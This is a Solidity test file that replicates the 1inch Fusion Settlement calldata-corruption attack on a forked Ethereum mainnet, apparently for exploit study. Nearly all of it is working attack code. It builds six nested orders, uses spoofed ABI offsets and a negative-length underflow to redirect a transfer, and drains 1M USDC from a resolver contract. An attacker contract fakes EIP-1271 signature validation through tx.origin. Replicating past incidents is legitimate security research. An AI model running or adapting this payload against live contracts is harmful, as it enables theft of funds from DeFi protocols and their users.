1inch Calldata Corruption

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;


// From OrderLib library 
// File @1inch/limit-order-protocol/contracts/OrderLib.sol@v0.3.0-prerelease
struct Order {
    uint256 salt;
    address makerAsset;
    address takerAsset;
    address maker;
    address receiver;
    address allowedSender;  // equals to Zero address on public orders
    uint256 makingAmount;
    uint256 takingAmount;
    uint256 offsets;
    // bytes makerAssetData;
    // bytes takerAssetData;
    // bytes getMakingAmount; // this.staticcall(abi.encodePacked(bytes, swapTakerAmount)) => (swapMakerAmount)
    // bytes getTakingAmount; // this.staticcall(abi.encodePacked(bytes, swapMakerAmount)) => (swapTakerAmount)
    // bytes predicate;       // this.staticcall(bytes) => (bool)
    // bytes permit;          // On first fill: permit.1.call(abi.encodePacked(permit.selector, permit.2))
    // bytes preInteraction;
    // bytes postInteraction;
    bytes interactions; // concat(makerAssetData, takerAssetData, getMakingAmount, getTakingAmount, predicate, permit, preIntercation, postInteraction)
}

interface IUSDT {
    function approve(address _spender, uint256 _value) external;
    function balanceOf(address owner) external view returns (uint256);
    function transfer(address _to, uint256 _value) external;
    function allowance(address owner, address spender) external returns (uint);
}

interface ISettlement {
    function settleOrders(bytes calldata order) external;
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol";
import {IERC20} from "../../interfaces/IERC20.sol";
import {IWETH9} from "../../interfaces/IWETH9.sol";
import {IUniswapV2Router02} from "../../utils/IUniswapV2Router.sol";
import {IUSDT, ISettlement, Order} from "./Interfaces.sol";

// Replication of the tx
// https://etherscan.io/tx/0x62734ce80311e64630a009dd101a967ea0a9c012fabbfce8eac90f0f4ca090d6

contract Exploit_OneInch is Test, TestHarness, TokenBalanceTracker {
    // Attacker EOA
    address public constant ATTACKER_EOA =
        0xA7264a43A57Ca17012148c46AdBc15a5F951766e;

    // Protocol contracts
    // 1inch Settlement - the vulnerable contract
    ISettlement private constant settlement =
        ISettlement(0xA88800CD213dA5Ae406ce248380802BD53b47647);
    // 1inch Aggregation Router V5 - handles order fills
    address private constant AGGREGATION_ROUTER_V5 =
        0x1111111254EEB25477B68fb85Ed929f73A960582;
    // Victim resolver contract - TrustedVolumes Pool
    address RESOLVER = 0xB02F39e382c90160Eb816DE5e0E428ac771d77B5;
    // Uniswap V2 Router - used to get initial USDT for orders
    IUniswapV2Router02 private uniswap =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    // Token addresses
    IUSDT public constant USDT =
        IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IWETH9 public constant WETH =
        IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 public constant USDC =
        IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    // Initial balances
    uint256 private constant DRAIN_AMOUNT = 1_000_000e6; // 1M USDC to steal
    uint256 private constant INITAL_WETH = 0.001 ether;
    uint256 private constant INTIAL_SWAP = 0.0005 ether;
    uint256 private constant INITAL_USDT = 1e6; // 1 USDT for order execution


    // Flag 0x00: Continue processing - triggers recursive _settleOrder call
    // Used for orders 1-5 to build up the nested order chain
    bytes1 private constant INTERACTION_CONTINUE = 0x00; // Continue to next nested order
    // Flag 0x01: Finalize - triggers resolveOrders() callback to resolver
    // Used in the final malicious interaction to drain victim funds
    // https://github.com/1inch/fusion-protocol/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/Settlement.sol#L29
    bytes1 private constant INTERACTION_FINALIZE = 0x01;


    // These offsets exploit how fillOrderTo() decodes dynamic bytes parameters
    // By providing fake offsets, we can make the decoder read from arbitrary calldata positions
    // Offset where signature data is located in the ABI-encoded calldata
    // Calculated: After order offset (0x20) + order struct location
    // Order struct at 0xE0 is 320 bytes (0x140), plus interactions offset (0x20)
    // So signature starts at 0x240
    uint256 private constant SPOOFED_SIGNATURE_OFFSET = 0x240; 

    // Offset where interaction data is located
    // This is what the vulnerable code reads at (data.offset + 0x40)
    // We set this to point to our crafted interaction with negative length
    uint256 private constant SPOOFED_INTERACTION_OFFSET = 0x460;
    uint256 private constant PADDING_SIZE =
        SPOOFED_INTERACTION_OFFSET - SPOOFED_SIGNATURE_OFFSET;

    // Negative length causes the decoder to read backwards in calldata
    // -512 in two's complement = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00
    uint256 private constant NEGATIVE_LENGTH_UNDERFLOW =
        type(uint256).max - 511; // -512 as int256

    // Attacker contract
    AttackerContract internal attacker;

    function setUp() public {
       // Fork mainnet at the block before the attack
        cheat.createSelectFork(vm.envString("RPC_URL"), 21_982_110);

        // Deploy attacker contract that will execute orders
        attacker = new AttackerContract();

        // Set Initial balance
        deal(address(WETH), address(attacker), INITAL_WETH);

        // Swap some WETH for USDT - needed as makerAsset in orders
        // The attacker needs to provide 1 wei USDT per order as the "maker"
        address[] memory path = new address[](2);
        path[0] = address(WETH);
        path[1] = address(USDT);
        vm.startPrank(ATTACKER_EOA);
        uniswap.swapETHForExactTokens{value: INTIAL_SWAP}(
            INITAL_USDT,
            path,
            address(attacker),
            block.timestamp
        );
        // Approve router to pull USDT for order fills
        attacker.approve(
            address(USDT),
            AGGREGATION_ROUTER_V5,
            type(uint256).max
        );
        vm.stopPrank();

        // Setup balance tracking
        addTokenToTracker(address(USDC));
    }

    function test_attack() public {
        console.log("------- INITIAL BALANCES -------");

        logBalancesWithLabel("Attacker", address(attacker));
        logBalancesWithLabel(
            "TrustedVolumes Pool",
            RESOLVER
        );

        console.log("------ STEP 1: Craft malicious order chain ------");
        console.log("Building 6 nested orders with calldata corruption payload...");
        bytes memory orderData = buildExploitPayload();


        console.log("\n------ STEP 2: Execute nested order attack -------");
        // tx.origin must be ATTACKER_EOA for isValidSignature() to return valid
        vm.prank(ATTACKER_EOA, ATTACKER_EOA);
        attacker.settle(orderData);

        console.log("\n------ FINAL BALANCES -------");
        logBalancesWithLabel("Attacker", address(attacker));
        logBalancesWithLabel(
            "TrustedVolumes Pool",
            RESOLVER
        );
    }

    // Builds the nested order payload that exploits calldata manipulation
    // Orders are nested 6 deep, with the final order triggering the drain
    function buildExploitPayload() internal view returns (bytes memory) {
        bytes memory emptySignature = hex"";
        // This order has manipulated offsets that cause the decoder to
        // read the victim's address from our crafted suffix
        Order memory drainOrder = buildOrder({
            salt: 0,
            receiver: address(attacker), // Stolen funds destination
            takingAmount: DRAIN_AMOUNT
        });

        // Craft the suffix that will be read when negative length underflows
        // This data will be interpreted as the "from" address for the transfer
        bytes memory victimSuffix = abi.encode(
            0, // padding
            RESOLVER, // Source of funds
            address(USDC), // Token to drain
            0, // padding
            0, // padding
            address(USDC), // Token reference
            DRAIN_AMOUNT, // Amount to steal
            0x40 // offset
        );

        // 23 bytes of padding to align suffix data 
        bytes memory suffixPadding = new bytes(23);
        bytes memory finalInteraction = abi.encodePacked(
            address(settlement),
            INTERACTION_FINALIZE,
            RESOLVER,
            suffixPadding,
            victimSuffix
        );

        // Zero padding that will be jumped over by negative length
        bytes memory calldataPadding = new bytes(PADDING_SIZE);

        // Interaction that triggers the drain via offset manipulation
        bytes memory interaction5 = abi.encodePacked(
            address(settlement),
            INTERACTION_CONTINUE,
            abi.encode(
                drainOrder,
                SPOOFED_SIGNATURE_OFFSET,
                SPOOFED_INTERACTION_OFFSET,
                0,
                DRAIN_AMOUNT,
                0,
                address(attacker)
            ),
            calldataPadding,
            NEGATIVE_LENGTH_UNDERFLOW, // -512: causes suffix write underflow
            finalInteraction
        );


        // Each nested order adds entries to the internal tracking array
        // This is necessary to reach the required array state for the exploit

        bytes memory interaction4 = buildNestedInteraction(
            buildOrder({salt: 0, receiver: address(attacker), takingAmount: 1}),
            emptySignature,
            interaction5
        );

        bytes memory interaction3 = buildNestedInteraction(
            buildOrder({salt: 1, receiver: address(attacker), takingAmount: 1}),
            emptySignature,
            interaction4
        );

        bytes memory interaction2 = buildNestedInteraction(
            buildOrder({salt: 2, receiver: address(attacker), takingAmount: 1}),
            emptySignature,
            interaction3
        );

        bytes memory interaction1 = buildNestedInteraction(
            buildOrder({salt: 3, receiver: address(attacker), takingAmount: 1}),
            emptySignature,
            interaction2
        );
        //  This is the first order processed by Settlement.settleOrders()
        Order memory entryOrder = buildOrder({salt: 4, receiver: address(attacker), takingAmount: 1});
        
        // Final payload: Entry order + chain of nested interactions
        return
            abi.encode(
                entryOrder,
                emptySignature,
                interaction1,
                0, // makingAmount override
                1, // takingAmount override
                0, // threshold
                address(attacker)
            );
    }

    // Helper to build a standard order struct
    function buildOrder(
        uint256 salt,
        address receiver,
        uint256 takingAmount
    ) internal view returns (Order memory) {
        return
            Order({
                salt: salt,
                makerAsset: address(USDT),
                takerAsset: address(USDC),
                maker: address(attacker),
                receiver: receiver,
                allowedSender: address(settlement),
                makingAmount: 1,
                takingAmount: takingAmount,
                offsets: 0,
                interactions: ""
            });
    }

    // Helper to build nested interaction calldata
    function buildNestedInteraction(
        Order memory order,
        bytes memory signature,
        bytes memory nextInteraction
    ) internal view returns (bytes memory) {
        return
            abi.encodePacked(
                address(settlement),
                INTERACTION_CONTINUE,
                abi.encode(
                    order,
                    signature,
                    nextInteraction,
                    0, // makingAmount
                    1, // takingAmount
                    0, // threshold
                    address(attacker)
                )
            );
    }
}

// https://app.dedaub.com/ethereum/address/0x019bfc71d43c3492926d4a9a6c781f36706970c9/decompiled
contract AttackerContract {
    ISettlement public constant settlement =
        ISettlement(0xA88800CD213dA5Ae406ce248380802BD53b47647);
    address public constant ATTACKER_EOA =
        0xA7264a43A57Ca17012148c46AdBc15a5F951766e;

    function approve(address token, address spender, uint256 amount) public {
        require(msg.sender == ATTACKER_EOA);
        IUSDT(token).approve(spender, amount);
    }

    function settle(bytes memory orders) external payable {
        settlement.settleOrders(orders);
    }

    // https://eips.ethereum.org/EIPS/eip-1271
    // EIP-1271 signature validation - returns valid if tx.origin is attacker
    //  This bypasses order signature verification for our malicious orders
    function isValidSignature(
        bytes32 hash,
        bytes memory signature
    ) public returns (bytes4) {
        if (address(tx.origin) == ATTACKER_EOA) {
            return bytes4(keccak256("isValidSignature(bytes32,bytes)"));
        } else {
            return 0xffffffff;
        }
    }

    // Withdraw stolen funds
    function transfer(address _from, address _to, uint256 _wad) external {
        require(msg.sender == ATTACKER_EOA);
        IERC20(_from).transfer(_to, _wad);
    }

    fallback() external payable {}
}